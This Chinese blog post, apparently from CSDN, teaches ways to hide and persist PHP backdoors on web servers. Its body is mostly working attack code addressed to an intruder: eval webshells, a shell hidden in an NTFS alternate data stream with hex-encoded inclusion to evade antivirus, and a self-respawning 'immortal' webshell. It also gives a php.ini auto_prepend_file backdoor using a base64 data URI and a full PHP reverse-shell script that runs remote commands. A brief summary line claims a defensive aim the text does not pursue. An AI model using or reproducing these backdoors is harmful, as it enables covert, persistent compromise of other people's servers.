php隐藏后门,php如何隐藏后门

本文详细介绍了PHP后门的各种隐藏方法,包括创建系统隐藏文件、利用NTFS ADS、通过环境变量留shell、不死马技术、PHP配置文件后门等。同时,也提到了如何通过数据库操作和关键字拆分进行后门植入。此外,还涉及了Linux系统下的隐藏技巧。文章旨在揭示这些潜在的安全风险,以提高网站和服务器的安全防护能力。
摘要由CSDN通过智能技术生成

php隐藏后门的方法:1、创建系统隐藏文件;2、利用ADS隐藏文件;3、在php环境变量中留shell;4、设置不死马;5、设置“php.ini”后门;6、将关键字拆分,并进行多文件包含;7、将真正的一句话写入数据库。

56c1a48638176ad4270a3dc6bc6015c8.png

推荐:《PHP教程》

php 后门隐藏技巧

1. attrib +s +h

创建系统隐藏文件:

attrib +s +a +r +h

attrib +s +h 文件名

99be018ba96ae26330a1027ffc9171d8.png

在 Windows 10下即使开启了显示隐藏的项目,或dir仍然看不见。

2. 利用 ADS 隐藏文件

NTFS交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用ADS 数据流,我们可以做很多有趣的事情。(抄的)

首先创建 ADS 隐藏文件

在命令行,echo 一个数据流进去,比如 index 文件是正常文件。echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg

这样就生成了一个不可见的 index.php:shell.jpg

ef09fa43368e0535ce84e7f3334c705c.png

使用dir /r查看

da24cbaedb7acae907c9ca56f64c55a9.png

可使用命令直接修改,要删除的话 直接删除 index.php就ok了

第二步,直接使用正常文件包含。

ceb9d41d68394036d41dccb746e0c2c2.png

做一些免杀

把 index.php:shell.jpg hex 编码<?php

$a="696E6465782E7068703A7368656C6C2E6A7067";

// index.php:shell.jpg hex编码

$b="a";

include(PACK('H*',$$b))

?>

3.php环境变量留shell

在c盘创建这个目录

63ee5d44eeecf5a8c9f9a9614273546b.png

丢个图片一句话

6b8954c6eb16e987bc38e2fec78b0bd1.png

然后文件包含,就好。为了隐蔽可以包含图片马,txt等。

3fd76098a4187b4bdc44ce9a2df404b0.png

4.不死马

运行后,会删除自身,生成一个 webshell.php,管理员删除后还会生成。<?php

set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

while(1){

file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');

sleep(5);

}

解决覆盖重写或者重启 web 服务删掉即可。<?php

set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

while(1){

file_put_contents('webshell.php','clear');

sleep(1);

}

五. php.ini后门

将下面后门写入php.iniallow_url_include=On

auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"

// base64 <?php @eval($_REQUEST[cmd]);?>

// 后门类型可自己修改。

这些做好后,重启 web 服务就好了。

方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。

方法2.就是加载一个 php_socke.php 脚本,让他重新加载 php.ini

此后门,任何php都可菜刀连接<?php

/******************************/

/* 只适用于windows系统 */

/******************************/

while(true){//别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...

@set_time_limit(0);

$system=strtoupper(substr(PHP_OS,0,3));

if(!extension_loaded('sockets'))

{

if($system=='WIN'){@dl('php_sockets.dll')ordie("Can't load socket");}

}

$host='255.255.255.255';// 搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~

$port=1998;//别问我为什么是1998,问了我也不会告诉你....

if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}

$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);

$host=gethostbyname($host);

$proto=getprotobyname("tcp");

if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}

if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}

else{

$message="PHP反弹连接\n";

@socket_write($sock,$message,strlen($message));

$cwd=str_replace('\\','/',dirname(__FILE__));

while($cmd=@socket_read($sock,65535,$proto))

{

if(trim(strtolower($cmd))=="exit"){

socket_write($sock,"Bye\n");exit;

}else{

$process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);

if(is_resource($process)){

fwrite($pipes[0],$cmd);

fclose($pipes[0]);

$msg=stream_get_contents($pipes[1]);

socket_write($sock,$msg,strlen($msg));

fclose($pipes[1]);

$msg=stream_get_contents($pipes[2]);

socket_write($sock,$msg,strlen($msg));

$return_value=proc_close($process);

}

}

}

}

}

?>

//此脚本非百分百成功

6. 关键字拆分,多文件包含!

比如一句话:@eval($_POST['x']);我们可以写成$a=$_POST['x'];@eval($a);

我们可以将 $a=$_POST['x'];写入一个文件 POST.php

然后在 @eval($a); 一句话的上方使用 include "POST.php";的方式引用!

3b3a8cddb920e037123ad6f7f1bfd892.png

7.将真正的一句话写入数据库

当我们发现源码有个地方执行了数据库操作,那我们就可以改源码和数据库啦~

比如,修改成 eval(查出的数据);

d62990b31d70a4d131fd74862bbe31ce.png

8.以下是linux的

无意中发现的。具体看代码。<?php

$webpath = dirname(__FILE__)."/";

file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的内容(比如写

个一句话)");

?>

生成一个文件。

在目录下看到是显示 名字为 guige.jpg

但是 web 浏览 却发现 没有找到 guige.jpg 后来发现 需要添 guige.jpg%09.php 这样

的话就导致我们可以对后门隐藏了。。管理员看到的是.jpg 我们却可以 web 用.php 解析来

连接。。。有用的到的可以看看。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值